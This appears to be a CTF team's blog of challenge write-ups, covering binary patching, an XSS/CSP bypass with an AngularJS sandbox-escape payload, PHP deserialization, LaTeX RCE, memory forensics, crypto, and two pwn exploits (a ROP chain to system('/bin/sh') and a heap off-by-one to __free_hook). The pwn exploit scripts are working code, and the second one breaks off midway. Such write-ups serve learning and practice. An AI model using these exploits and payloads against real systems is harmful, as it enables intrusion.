JBZ CTF Team

m0leCon CTF 2020 - The Rickshank Rickdemption

Sun, 15 Nov 2020 22:00:00 +0000

The chall was a RPG Pokemon-like client-only game.
The objectives are:

Kill all the Mortys (but sadly every Morty is stronger than you)
Find the flag

The first thing you can notice is the save function, that creates a minigame.sav file.
After some saves you can see that it saves the player position, which Morty you have caught and the helpers & objects you got.
But, at the end of the file there is a 256bit alywas-changing signature.

We started reversing the challenge’s binary file to understand how the signature was made, but then we stumbled upon the winFunc function.

Apparently the function is never called, so we decided to arbitrary call it.

GDB? Nah.
Frida? Nah.
We pathed the binary file.

Apparently every “level”/”stage” has its dedicated function that’s called once you enter it, so the game can draw the “scene” and place the “sprites”.

Last time we saved we were in level 7, so we decided to swap the call to pausegame (the function that is called when you press ‘P’) with a call to winFunc inside the level7 function.

As simple as swapping 66492B00 for 5CBC0000 at offset 0x40AF76.
PS: Those two are the relative offset for the CALL opcode in little endian form.

Then we started out patched binary, we loaded the savefile and pressed ‘P’.

BugPoc - Buggy Calculator

Wed, 12 Aug 2020 00:00:00 +0000

Everything started with a Tweet:

Check out our new XSS Challenge- $2,000 worth of prize money!  
Submit solutions to http://hackerone.com/bugpoc before 08/12.  
Rules: Must alert(domain), Must bypass CSP, Must work in Chrome, Must provide a BugPoC demo  
Good luck!  
#XSS #CTF #bugbounty #hacked

Finding attacker-controllable input

When dealing with XSS challenges the very first step is to find some attacker-controllable input that can be used as a vector to exploit the actual XSS.
This task is particularly easy in this challenge as the buggy calculator uses an iframe as calculator display and sends content updates through the window.postMessage() API. frame.html

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">
        <link href='https://fonts.googleapis.com/css?family=Ubuntu:400,700' rel='stylesheet' type='text/css'>
        <script src="frame.js"></script>
        <style>
        html {
            clear: both;
            font-family: digital;
            font-size: 24px;
            text-align: right;
            letter-spacing: 5px;
            font-family: 'Ubuntu', sans-serif;
            overflow: hidden;
        }
        </style>
        <title></title>
    </head>
    <body>
        0
    </body>
</html>

frame.js

window.addEventListener("message", receiveMessage, false);

function receiveMessage(event) {

    // verify sender is trusted
    if (!/^http:\/\/calc.buggywebsite.com/.test(event.origin)) {
        return
    }
    
    // display message 
    msg = event.data;
    if (msg == 'off') {
        document.body.style.color = '#95A799';
    } else if (msg == 'on') {
        document.body.style.color = 'black';
    } else if (!msg.includes("'") && !msg.includes("&")) {
        document.body.innerHTML=msg;
    }
}

How postMessage works?

To understand why the frame.html page was chosen as our target it’s required to explain how window.postMessage() works. With the help of MDN web docs we can understand that:

The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.

So we can send a cross-origin message between two Window elements. Nice!

Following the documentation we can understand that on the recipient Window messages are handled by the callback function defined in the EventListener (in our case receiveMessage) and that the object passed to the callback contains the following properties:

data - The object passed from the other window.
origin - The origin of the window that sent the message at the time postMessage was called. This string is the concatenation of the protocol and “://”, the host name if one exists, and “:” followed by a port number if a port is present and differs from the default port for the given protocol.
source - A reference to the window object that sent the message; you can use this to establish two-way communication between two windows with different origins.

Analysing the EventListener

Knowing that we can send messages with the window.postMessage() API we should check what the EventListener does.

First it checks that the origin of the message is compliant to a specific RegEx:

    if (!/^http:\/\/calc.buggywebsite.com/.test(event.origin)) {
        return
    }

Then it checks if the content of the message is on or off to turn on or off the display and finally if it’s different from the previous 2 cases it adds its content to the page via the innerHTML API (which would give us HTML injection as threats strings as trusted HTML code) given the fact that the input does not contain the character ' and the character &.

    // display message 
    msg = event.data;
    if (msg == 'off') {
        document.body.style.color = '#95A799';
    } else if (msg == 'on') {
        document.body.style.color = 'black';
    } else if (!msg.includes("'") && !msg.includes("&")) {
        document.body.innerHTML=msg;
    }

Bypassing the event.origin check

As seen in the documentation the event.origin property contains the protocol + :// + the domain + : + the port of the page sending the message. Such origin is checked via the following regEx /^http:\/\/calc.buggywebsite.com/, which stands for event.origin should start with http://calc.buggywebsite.com.

Can we bypass this check? Of course! Anyone could create a subdomain which starts with calc.buggywebsite.com (i.e. calc.buggywebsite.com.attacker.tld).

Ok, but I don’t want to buy a domain and I don’t have one… That’s not a big deal online services like xip.io could be used to quickly reproduce this locally (i.e. http://calc.buggywebsite.com.127.0.0.1.xip.io:8000/ could be used to point to a local HTTP server on port 8000 with a domain which bypasses the check). Moreover, while submitting the final PoC through BugPoc.com I realized that it also allows us to change the subdomain of the PoC!

Given the aforementioned bypass, we can use our desired trick to host the following HTLM page, which embeds http://calc.buggywebsite.com/frame.html in an iframe and sends a message to it containing test.

<iframe src="http://calc.buggywebsite.com/frame.html" name="target"></iframe>
<script>
    win = window.frames.target;
    setTimeout(function(){
        window.frames.target.postMessage("test","http://calc.buggywebsite.com/");
    }, 1000);
</script>

Challenge solved!!1!

So now we have our working exploit to the HTML injection, we just need to send a simple <img src=c onerror=alert(1)> to exploit the XSS, right?

Not so fast, as can be seen the the frame.html <head> section a <meta> tag declaring a Content-Security-Policy is present.

<meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' 'self'; object-src 'none'">

CSP analysis

The aforementioned CSP has allows to:

use the eval and eval-like JavaScript functions
load arbitrary JavaScript scripts from the self, aka the calc.buggywebsite.com domain

Usually, the second point is useful when the target website allows us to upload arbitrary files, then we can upload a JavaScript script and load it via <script src=/path/to/script.js></script>, but obviously a calculator doesn’t allow any file upload.

The other useful scenario is when we have some nice scripts hosted on the target domain which we can abuse and that’s the case! Going back to the homepage of the calculator we can spot the inclusion of http://calc.buggywebsite.com/angular.min.js, which is AngularJS 1.5.6.

CSP bypass with AngularJS

Bypassing the CSPs with AngularJS is a well-known technique, in fact when AngularJS is loaded in a page and you have an HTML injection you can create a new ng-app and write any AngularJS script between the curly brackets.
Unfortunately, we don’t have AngularJS loaded in the /frame.html page, but we have an HTML injection, so we can just inject a <script> tag and load angular.min.js right? Incorrect! Adding a <script> tag with innerHTML is basically useless.

What about creating a full new document? Yeah, that’s the way! We can inject an iframe inside the iframe and set an arbitrary HTML content via the srcdoc attribute!

<iframe src="http://calc.buggywebsite.com/frame.html" name="target"></iframe>
<script>
    win = window.frames.target;
    setTimeout(function(){
        window.frames.target.postMessage('\u003ciframe srcdoc="\u003cscript src=/angular.min.js\u003E\u003c/script\u003e\u003cdiv ng-app\u003e{{6*7}}\u003c/div\u003E"\u003E\u003c/iframe\u003E',"http://calc.buggywebsite.com/");
    }, 1000);
</script>

AngularJS sandbox escape and filter bypass

AngularJS from version 1.0 to version 1.5.9 has a sandbox, which was removed in version 1.6. The idea of the sandbox was to prevent attackers able to inject AngularJS code to automatically obtain arbitrary JavaScript injection. After an infinite list of bypasses the AngularJS team just removed the sandbox. 🤷🏾‍♂️

Fortunately for us a known sandbox escape for version 1.5.6 is available:

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

Unfortunately for us, we can’t use single quotes and we can’t even use the common srcdoc trick to encode characters in HTML entities as the & character is blacklisted.

The only option is to use some JavaScript-fu and refactor the code not to use those characters!

The first step is to create a dict having as key a String and as value the prototype of the constructor of a String. In JavaScript, we can create an empty string with ([]+[]) (stolen from JSFuck) allowing us to easily rewrite the first part of the sandbox escape without ' and &.

x = {}; x[([]+[])]=([]+[]).constructor.prototype; x[([]+[])].charAt=[].join;

For the second part, we can retrieve from the String constructor the fromCharCode() function and create a string out of the ASCII representation of characters.

$eval(x[([]+[])].constructor.fromCharCode(120,61,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41));

Wrapping everything together we have our final exploit

<iframe src="http://calc.buggywebsite.com/frame.html" name="target"></iframe>
<script>
    win = window.frames.target;
    setTimeout(function(){
        window.frames.target.postMessage(unescape('%3Ciframe%20srcdoc%3D%22%3Cscript%20src%3D/angular.min.js%3E%3C/script%3E%3Cdiv%20ng-app%3E%7B%7B%20x%20%3D%20%7B%7D%3B%20x%5B%28%5B%5D+%5B%5D%29%5D%3D%28%5B%5D+%5B%5D%29.constructor.prototype%3B%20x%5B%28%5B%5D+%5B%5D%29%5D.charAt%3D%5B%5D.join%3B%24eval%28x%5B%28%5B%5D+%5B%5D%29%5D.constructor.fromCharCode%28120%2C61%2C97%2C108%2C101%2C114%2C116%2C40%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C100%2C111%2C109%2C97%2C105%2C110%2C41%29%29%3B%7D%7D%3C/div%3E%22%3E%3C/iframe%3E'),"http://calc.buggywebsite.com/");
    }, 1000);
</script>

To see it in action on BugPoc.com:
URL: https://bugpoc.com/poc#bp-jOA9FIM9
Password: enoUgHHOrse25

👋🏾 by smaury

M0lecon 2019

Fri, 22 May 2020 13:37:00 +0000

This was an on-site CTF by the Polictenico di Torino’s CTF team pwnthem0le, which took place during the M0lecon 2019 event. Our team won the competition :D

Web 1

You can login with any user and any password, but the admin user
When you login a login cookie is set with a base64 encoded PHP object (e.g. base64_encode('O:4:"User":3:{s:2:"id";i:2;s:8:"username";s:1:"'";s:5:"admin";b:0;}'))
By changing the PHP object to use the admin as username and the boolean property admin as true you become admin and get the flag

Flag: ptm{Cl455_S3r14l1z4t10n_15_B34ut1ful}

Web 2

You have a web portal which allows to write articles in LaTeX
LaTeX in its syntax has some commands which allow RCE
No filter were in place, so a simple copy/paste from PayloadsAllTheThings did the trick
Using an OOB channel was the best way for us to extract the config.php file which contained the flag

Flag: ptm{L4t3x_1nj3ct10n_1s_c00l}

Fore

In this chall you need to analyze the file dmp with volatility framework; from the chall page you can download two files: the first one is the dump, the second one the suggested profile.
The profile need to be moved in the right path(/volatility/volatility/plugins/overlays/linux) before start volatility.
In order to find the correct profile name you can use this command:
```
  python vol.py --info | grep -i mint
```

After that, we have started to analyze dump; in this case the memory dump is made from a Linux system, and the command set from volatility to analyze Linux memory dump is a little bit restricted than Windows memory analysis command-set.

  root@kali:python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_pslist
  Volatility Foundation Volatility Framework 2.6.1
  Offset             Name                 Pid             PPid            Uid             Gid    DTB                Start Time
  ------------------ -------------------- --------------- --------------- --------------- ------ ------------------ ----------
  -- trim --
  0xffff8800542aa740 bash                 2302            2296            1000            1000   0x00000000543f3000 2019-11-29 22:29:41 UTC+0000
  0xffff88005719e220 thunderbird          2319            2184            1000            1000   0x00000000542ec000 2019-11-29 22:29:43 UTC+0000
  0xffff8800788e44b0 cinnamon-screen      2380            1741            1000            1000   0x0000000054397000 2019-11-29 22:29:48 UTC+0000
  0xffff880079c86bf0 mintupdate-laun      2381            1741            1000            1000   0x0000000057274000 2019-11-29 22:29:48 UTC+0000
  0xffff8800788cbae0 sh                   2384            2381            1000            1000   0x0000000078398000 2019-11-29 22:29:48 UTC+0000
  -- trim --

Between system processes and other useless stuff, we can find a Thunderbird istance; Thunderbird execution is fairly automated.

We can try to use linux_bash to see the history of used command and find something about Thunderbird.

  root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_bash
  Volatility Foundation Volatility Framework 2.6.1
  Pid      Name                 Command Time                   Command
  -------- -------------------- ------------------------------ -------
  -- trim --
  2302 bash                 2019-06-21 22:01:12 UTC+0000   cd /home
  	2302 bash                 2019-06-21 22:01:13 UTC+0000   cd hackermaster
  	2302 bash                 2019-06-21 22:01:14 UTC+0000   cd emails
  	2302 bash                 2019-06-21 22:01:15 UTC+0000   wget 192.168.1.107/hackz/client_data.zip
  	2302 bash                 2019-06-21 22:01:40 UTC+0000   thunderbird "Please be careful with what you do.eml"
  	2302 bash                 2019-06-21 22:02:42 UTC+0000   thunderbird "Re: Please be careful with what you do.eml"
  	2302 bash                 2019-06-21 22:03:32 UTC+0000   thunderbird "Need the moneyz now.eml"
  	2302 bash                 2019-06-21 22:04:30 UTC+0000   thunderbird "Re: Re: Please be careful with what you do.eml"
  -- trim --

Intresting, we can find 4 different .eml files opened with Thunderbird. In linux memory dump analysis, we need to find the correct inode value and send it to linux_find_file with -i and -O options to extract every single file.

  root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -F "/home/hackermaster/emails/Your_filename_here.eml"
  Volatility Foundation Volatility Framework 2.6.1
  Inode Number                  Inode File Path
  ---------------- ------------------ ---------
      814605 0xffff880078eabc48 /home/hackermaster/emails/Need the moneyz now.eml
      814389 0xffff880078e9f060 /home/hackermaster/emails/Please be careful with what you do.eml
      814373 0xffff880078e9f458 /home/hackermaster/emails/Re: Please be careful with what you do.eml
      814162 0xffff880078e9fc48 /home/hackermaster/emails/Re: Re: Please be careful with what you do.eml


  root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078eabc48 -O "Need the moneyz now.eml"
  root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9f060 -O "Please be careful with what you do.eml"
  root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9f458 -O "Re: Please be careful with what you do.eml"
  root@kali: python vol.py -f /root/Downloads/memory.dmp --profile=LinuxMint173x64 linux_find_file -i 0xffff880078e9fc48 -O "Re: Re: Please be careful with what you do.eml"

Three of those mails are simply text with nothing intresting, but “Need the moneyz now.eml” have an attached zip file.
After unzip that, we have a lot of json files with strange names and a txt with an ethereum wallett address inside.
Simply use a recursive grep with the string ‘ptm{‘ (the flag format) to solve the chall.

Flag: ptm{wh4t_1s_h3_d0ing_With_tH4t_dat4}

Rev 1

An ELF was provided
By running strings on it it can be discovered to be generated by PyInstaller
Using pyi-archive_viewer it was possible to extract the pyc bytecode
The header of the pyc was removed by PyInstaller, so it should be re-added and then it could be decomPYled with uncompyle6
The decompiled python script does some math operations on big numbers (i.e. print((chr(pow(small_number, very_big_number) % 1000))))
By doing the % operation also before the pow one it was possible to speed-up the script and get the flag in seconds (i.e. print((chr(pow((small_number % 1000), (very_big_number % 1000)) % 1000))))

Flag: ptm{30058c5c3989ece35831e815e83e0505}

Misc 1

The flag was hidden in a div with the display:none CSS property in the description of the challenge itself

Flag: ptm{W3lc0m3_70_m0l3C0n_CTF!}

Misc 2

Rules and definitions
- we are given n sequences of numbers, a set of rules to build a solution sequence from these and a definition of best solution
- we can pick only the numbers at the beginning of the sequences, once you pick an element that is removed from the input sequences and put into the solution sequence
- to compare two solutions we have to compute the value x-y where x and y are the first different elements of the sequences we are comparing
- if we provide the best solution we repeat the process with a new input
Solution
- at each iteration we pick the minimum among the available elements at the beginning of the sequences we are provided with
- in case of conflicts (i.e. more than one minimum) we move to compare the second element of the candidate sequences (the one with the minimum at the beginning) and so on until we can establish which one to pick
- given the way the best solution is measured, this algorithm will be enough to find the best solution in a reasonable time

def solve(ss):
    sol = []
    while True:
        ss = list(filter(lambda s: len(s) > 0, ss))
        if len(ss) == 0:
            break

        heads = {}
        for i in range(len(ss)):
            if ss[i][0] in heads.keys():
                #print("CONFLICT!")
                l1 = list(ss[i])
                l2 = list(ss[heads[ss[i][0]]])

                for j in range(min(len(l1), len(l2))):
                    try:
                        if l1[j] > l2[j]:
                            break
                        elif l1[j] < l2[j]:
                            heads[l1[0]] = i
                            break
                    except:
                        print("ANOTHER CONFLICT!")
                        exit(0)

            else:
                heads[ss[i][0]] = i

        new = min(heads.keys())
        sol.append(new)
        ss[heads[new]].pop(0)
    return sol


from pwnapi import *

log.level = 2
context.update(host="10.255.0.1", port=8005)

p = context.getremote()
p.recvuntil(b"Now it's your turn!\n\n")

while True:
    ss = []
    while True:
        l = p.recvline()
        s = list(map(lambda x: int(x), l.strip().split()))

        if len(s) == 0:
            break
        ss.append(s)

    sol = solve(ss)
    pay = ("{} "*len(sol)).strip().format(*sol).encode("utf-8")
    p.sendlineafter(b"sequence\"?", pay)
    while p.recv(1) != b"!":
        pass
    p.recvuntil(b"\n\n\n")

p.recvall()
p.close()

Flag: ptm{5up3r_f457_1n_c4rD_6Am3s}

Crypto 2

By reversing the binary you can learn that:
- The program reads some a, b and p from the ./params file.
- Reads the flag from file and encrypts it by using the encrypt function
- The encrypt function behave like the following C++/Pseudocode

__int64 encrypt(__int64 a1, vector<unsigned int> *message)
{
  InfInt sum = InfInt(0);
  InfInt power;
  for ( i = 0; i < message.size(); ++i )
  {
    myPow(power, 256, message.size() - i - 1);
    sum += InfInt(message[i])*power;
  }
  sum += 1337
  std::cout << sum << std::endl;

  unsigned int seed = now().time_since_epoch().count();
  srand(seed);
  int r = rand();

  InfInt randv;
  randv = p / 0x7FFFFFFF * r;
  sum = (sum * randv + 1) % p;
  a_randv = a * randv;
  b_sum = b * sum;
  enc_sum = (a_randv + b_sum) % p;
  enc_diff = (a_randv _ b_sum) % p;
  if (enc_diff < 0) {
    enc_diff += p;
  }
  a1 = std::pair<InfInt,InfInt>(a1, (__int64)&v11, (__int64)&v12);
  return a1;
}

The idea here is to send multiple time the same message to be encrypted, generate the “sum” (like in the cout above) and then run the following SageMath script.

from Crypto.Util.number import long_to_bytes

cipher1=[
1657193054003946939742382039546178248764670964093956768428222754149558900484660423527213927409731682492391649192884642286972836750184248785223918459744699,
9393149816861097990249702302505021603400732592123252503116137566283707142638124367678170286762151736722171457008067398498155737944943155046469028379079674
]
cipher2=[
8567657050186210539812433490723910952475953365776184198464020501236978388794781400334504727276101618868281832944377160415402086128091946377445840531078288,
5608821411558755844947151824603641814259531937527920016345776121936177018601438328338200624208839078384905595006944812697328138726508018110801426846026457
]
cipher3=[
793367049655931060762753233354685831932640135849414074345377052132000065850916722724046406778375795612456646357707665197849363431642555273503228771193778,
7294789427811005632196844363150149690307758418592767276751589840254636358146705068590938842193417495862235903122916362826752853301014990898527383238441432
]
enc_message=44046402572626160612103472728795008085361523578694645928734845681441465001626

matrix = MatrixSpace(QQ,4,4)
vec = VectorSpace(QQ,4)

mat1 = matrix([cipher1[0]+cipher1[1],0,-2,0,cipher2[0]+cipher2[1],0,0,-2,0,cipher1[0]-cipher1[1],-2*enc_message,0,0,cipher2[0]-cipher2[1],0,-2*enc_message]).inverse()
mat2 = matrix([cipher1[0]+cipher1[1],0,-2,0,cipher3[0]+cipher3[1],0,0,-2,0,cipher1[0]-cipher1[1],-2*enc_message,0,0,cipher3[0]-cipher3[1],0,-2*enc_message]).inverse()

x1 = mat1*vec([0,0,2,2])
x2 = mat2*vec([0,0,2,2])

ares = x1[0].numerator() * x2[0].denominator() - x1[0].denominator() * x2[0].numerator()
bres = x1[1].numerator() * x2[1].denominator() - x1[1].denominator() * x2[1].numerator()
z = gcd(ares, bres)
print(z)

#for f in factor(z): 
#    print(f)

flag=[
4359033484857692329373218835891273223514277989389887380295361415464889770166389701631419427834781246508138660575223898424123475008882009518656242889895631,
1632584625552577634192244416449206016411410634392809925962891108131606575665762171492327868243444711605020193366871285556543848503175607073462086340098314
]
p = 9653752804826064052029859504357788343793666970085809058730805328470766932451241626459959462175810916447560141687115090556455161113988122849830800950814781
a = inverse_mod((inverse_mod(x1[0].denominator(), p) * x1[0].numerator()) % p, p)
b = inverse_mod((inverse_mod(x1[1].denominator(), p) * x1[1].numerator()) % p, p)
a = inverse_mod((inverse_mod(2 * a, p) * (flag[0] + flag[1])), p)
b = inverse_mod(2 * b, p) * (flag[0] - flag[1]) - 1
flag = (a * b - 1337) % p

print(long_to_bytes(flag))

Flag: ptm{l1n3ar_alg3br4_at_1t5_b3s7!}

Pwn 1

We are given an ELF binary with no stack canaries protections and no PIC.
The vulnerability lies in this function

void __cdecl sub_400BED()
{
  __int64 v0; // [rsp+20h] [rbp-20h]
  __int64 v1; // [rsp+28h] [rbp-18h]
  __int64 v2; // [rsp+30h] [rbp-10h]
  __int64 v3; // [rsp+38h] [rbp-8h]
  __int64 vars0; // [rsp+40h] [rbp+0h]
  __int64 retaddr; // [rsp+48h] [rbp+8h]

  sub_400A68(&v0);
  sub_400ABF(&v0);
  puts("Now give me your block data: ");
  HIDWORD(v3) = read(0, &qword_6020E0, 0x80uLL);
  if ( !(unsigned int)sub_400B14((__int64)&qword_6020E0, SHIDWORD(v3), (__int64)&v0) )
  {
    puts("Go mine somewhere else!!\n");
    exit(1);
  }
  v0 = qword_602100;
  v1 = qword_602108;
  v2 = qword_602110;
  v3 = qword_602118;
  vars0 = qword_602120;
  retaddr = qword_602128; // WE CONTROL THE RETURN POINTER
  puts("Block successfully mined. Bye!\n");
}

To reach the ret instruction we need to pass a check

signed __int64 __fastcall sub_400B14(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v4; // [rsp+8h] [rbp-98h]
  char v5[16]; // [rsp+20h] [rbp-80h]
  char v6; // [rsp+30h] [rbp-70h]
  int j; // [rsp+98h] [rbp-8h]
  int i; // [rsp+9Ch] [rbp-4h]

  v4 = a3;
  MD5_Init(&v6);
  MD5_Update(&v6, a1, a2);
  MD5_Final(v5, &v6);
  for ( i = 0; i <= 15; ++i )
    printf("%02x", (unsigned __int8)v5[i]);
  putchar(10);
  for ( j = 0; j <= 1; ++j )
  {
    if ( *(_BYTE *)(j + v4) != v5[j] )
      return 0LL;
  }
  return 1LL;
}

Since only the first two bytes of the hash are checked we can try to bruteforce it
We’re gonna trigger the vulnerability a first time to execute a short ropchain which will leak an address from the GOT to compute the libc_base and then ret2vuln
Now we know the addresses of functions and strings from libc in memory
We’re gonna trigger the vulnerability a second time to hijack the execution to system("/bin/sh")

Exploit

def brute_payload(proof, pay):
	def md5(data):
		import hashlib
		m = hashlib.md5()
		m.update(data)
		return m.hexdigest().encode("utf-8")
	i = 0
	while True:
		pay2 = (pay+str(i).encode("utf-8"))[:128]
		h = md5(pay2)
		if proof[:4] == h[:4]:
			return pay2
		i += 1

from pwnapi import *

log.level      = 1
context.binary = ELF("./proof_of_pwn")
libc           = ELF("./libc.so.6")
p              = context.getprocess()

proof = p.recvline().split()[-1]
log.info("required proof: {}".format(proof.decode("utf-8")))

rop       = p64(context.binary.findgadgetbystr("pop rdi;ret"))
rop      += p64(context.binary.sym.got.puts)
rop      += p64(context.binary.sym.plt.puts)
rop      += p64(0x00400bed) # check function
payload   = brute_payload(proof, fit({72:rop}))

p.sendafter(b"\n", payload)
p.recvuntil(b"\n\n")

puts      = u64(p.recvline().strip().ljust(8, b"\x00"))
libc_base = puts - libc.sym.puts
system    = libc_base + libc.sym.system
binsh     = libc_base + next(libc.search("/bin/sh"))
log.info("libc base:      0x{:x}".format(libc_base))
log.info("system:         0x{:x}".format(system))
log.info("binsh:          0x{:x}".format(binsh))

proof = p.recvline().split()[-1]
log.info("required proof: {}".format(proof.decode("utf-8")))

rop      = p64(context.binary.findgadgetbystr("pop rdi;ret"))
rop     += p64(binsh)
rop     += p64(system)
rop     += p64(context.binary.findgadgetbystr("mov eax, 0;leave;ret"))
payload  = brute_payload(proof, fit({72:rop}))

p.sendafter(b": \n", payload)
p.recvuntil(b"\n\n")

p.sendline(b"cat flag.txt; exit")
log.info("flag:           {}".format(p.recvall().decode("utf-8")))

p.close()

Output (local run)

$ python exploit.py     
[INFO]:  Opening binary ./libc.so.6
──────────────────────────────────────────────────────────────────────────────
arch                            x86
bits                            64
endian                          little
os                              linux
static                          False
stripped                        True
canary                          True
nx                              True
pic                             True
relocs                          False
sanitiz                         False
──────────────────────────────────────────────────────────────────────────────
[INFO]:  Opening binary ./proof_of_pwn
──────────────────────────────────────────────────────────────────────────────
arch                            x86
bits                            64
endian                          little
os                              linux
static                          False
stripped                        True
canary                          False
nx                              True
pic                             False
relocs                          False
sanitiz                         False
──────────────────────────────────────────────────────────────────────────────
[INFO]:  Process started with PID 17148 ./proof_of_pwn
[INFO]:  required proof: 289510e3b590959fb0b0177fe57612d3
[INFO]:  libc base:      0x7f10f5e8e000
[INFO]:  system:         0x7f10f5ed3390
[INFO]:  binsh:          0x7f10f601ad57
[INFO]:  required proof: b222d1572a57e35c7416ff32e234f90a
[INFO]:  flag:           ptm{p00r_8rut3f0rc1ng_c4n_h3lp}
[INFO]:  Process 17148 exited with code -7

Flag: ptm{p00r_8rut3f0rc1ng_c4n_h3lp}

Pwn 2

We are given a binary with no PIE and full RELRO. The binary offers an augmented interface over the one for PWN 1:

[DEBUG] <– Binary compiled with debug prints and experimental functions –>

Mine a new block
Edit transaction name
Show transaction name
Delete a block
Edit hash [EXPERIMENTAL] Your choice:

The interface allows to create a new block, edit/retrieve the associated transaction name, delete the block and modify the associated hash. Each allocated block is 248 bytes in size, dynamically allocated through malloc(), of which:

224 contain the data we send, if we successfully pass the hash check above
8 contain a pointer to the transaction name
16 contain the hash itself

The interface above gives us four useful primitives:

P.1) Allocate an arbitrary number of fixed size buffers (248 bytes) and fill the first 224 bytes with arbitrary content P.2) Dereference (Read/Write primitive) a pointer located 24 bytes from the end of the buffer P.3) Modify the last 16 bytes of a buffer after it has been allocated P.4) Free on demand the allocated buffers

On top of this, the [DEBUG] messages that the application prints leak each allocated buffer address:

Proof your value! -> d5abc3bc1ca8459d8ffef9c968b7308e [DEBUG] block is at 0x1221010

Just like in PWN 1, in order to add (mine) a new block, one needs to send a buffer that matches the randomly generated MD5 sum. In this case, though, only one byte is compared:

  for ( j = 0; j <= 0; ++j )
  {
    if ( *(_BYTE *)(j + v4) != v8[j] )
      return 0LL;
  }

The vulnerability lies in the “Edit hash” functionality and is a classic off-by-one NULL byte overflow:

  read(0, (void *)(table[v0] + 232LL), 0x10uLL);
  result = table[v0];
  *(_BYTE *)(result + 248) = 0;

Since the allocated buffers are 0x100 (256) bytes in size, the NULL byte overflow allows to change the ‘size’ field of an adjacent allocated chunk, moving it from the allocated state (0x101 - 0x1 Present flag) to the free state (0x100). P.4 allows to control the last 16 bytes of a buffer, which translates into controlling the prev_size field of a (fake in our case) free buffer.

Through the control of the Present flag + the prev_size field and since we control the contents of the buffers that we load, it is possible to completely create a fake chunk and desynchronize the heap. Once the heap is desynchronized, we can force the allocation of new buffers that overlap with existing ones and allow control of the R/W primitive through P.2. P.2 is used both to infoleak the base address of libc and to overwrite the contents of __free_hook with a onegadget from the provided libc.so, therefore leading to arbitrary code execution.

Let’s detail the steps for exploitation:

1) Create enough dummy buffers until the allocator starts returning consecutive allocations (in the specific case here, no dummy buffers are needed, but we still allocate one to use at the end)

2) Allocate three consecutive buffers that we’ll call B1, B2, B3. B3 is the victim buffer, B2 is the attacking buffer (that we’ll use to overflow into the size portion of B3) and B1 will contain most of the necessary data to fake the free object.

3) Allocate an extra buffer, B4, to get the bottom chunk out of the way.

4) Once B1 and B2 addresses are known, free B1 and re-allocate it, this time with the proper payload. From the exploit:

payload  = "A"*96
payload += p64(0)
payload += p64(int(buf2_addr, 16) - 80) * 2
payload += p64(0x4141414141414141) * 8
payload += p64(0x140 | 0x1)
payload += p64(int(buf1_addr, 16) + 88) * 2

The above payload provides fake FD and BK (self referencing higher up to pass glibc integrity checks) and mirrors the selected fake size (0x140), while stating that the previous buffer is Present (0x1 flag), once again to pass glibc safety checks.

Through P.3 the fake size (0x140) is written to ‘prev_size’ for B2, which also triggers the overflow:

io.sendline("5")
eat_menu(io)
io.sendline("2")

payload = p64(0x4444444444444444)
payload += p64(0x140)

At this point, all the necessary fake structures are in place.

5) Trigger the buffer coalesce by freeing B3

6) Allocate a new buffer B5. This time, because the heap is desynced, we get a misaligned address and B5 contents overlap with some of B1. In particular, at B5 + 32 there is the Transaction Name pointer for B1.

7) Use the payload of B5 to overwrite B1 Transaction Name pointer and point it to the binary GOT entry of a libc function. In the exploit, ‘puts’ is selected.

8) Use P.2 through B1 to read the address in the GOT and extract the libc base

9) Free B5 and reallocate it. In this case, in the payload, store at B5 + 32 the address of __free_hook.

10) Use P.2 through B1 to write to __free_hook the address of the libc one-gadget

11) Use P.4 over the dummy buffer allocated at the start to trigger the shell and enjoying the party.

Exploit (dirty python written by a C developer and gloriously uncommented) follows

Exploit

from pwn import *

def brute_payload(proof, pay):
    def md5(data):
        import hashlib
        m = hashlib.md5()
        m.update(data)
        return m.hexdigest()
    i = 0
    while True:
        pay2 = (pay+str(i)).ljust(224)
        h = md5(pay2)
        if proof[:2] == h[:2]:
                return pay2
        i += 1

def eat_menu(io):
    io.recvuntil(":", timeout=4)

def alloc_buffer(io, payload='aaa', tname='dummy'):
    io.sendline("1")
    md5_line = io.recvline().split()[-1]
    addr = io.recvline().split()[-1]
    eat_menu(io)
    good_payload = brute_payload(md5_line, payload)
    io.send(good_payload)
    eat_menu(io)
    io.sendline(tname)
    eat_menu(io)
    log.info("buffer allocated at 0x{:x}".format(addr))
    return addr

def free_buffer(io, id):
    io.sendline("4")
    eat_menu(io)
    io.sendline(id)
    eat_menu(io)
    log.info("buffer {} freed".format(id))

context.log_level = "INFO"
context.binary    = "./proof_of_pown2"
libc              = ELF("./libc.so.6")

io = process(context.binary.path, env={"LD_PRELOAD":"./libc.so.6"})

eat_menu(io)

#alloc dummy buffer
alloc_buffer(io)

# alloc starting buffer
buf1_addr = alloc_buffer(io)

#alloc attack buffer
buf2_addr = alloc_buffer(io)

#alloc victim buffer
buf3_addr = alloc_buffer(io)

#prevent topchunk messing
buf4_addr = alloc_buffer(io)

free_buffer(io, "1")

payload  = "A"*96
payload += p64(0)
payload += p64(int(buf2_addr, 16) - 80) * 2
payload += p64(0x4141414141414141) * 8
payload += p64(0x140 | 0x1)
payload += p64(int(buf1_addr, 16) + 88) * 2

alloc_buffer(io, payload=payload)

io.sendline("5")
eat_menu(io)
io.sendline("2")

payload = p64(0x4444444444444444)
payload += p64(0x140)
io.sendline(payload)

recvd_buffer = io.recvuntil(":", timeout=1)
free_buffer(io, "3")

payload  = p64(0x4444444444444444)*4
payload += p64(0x601f80)

alloc_buffer(io, payload=payload)

io.sendline("3")
eat_menu(io)
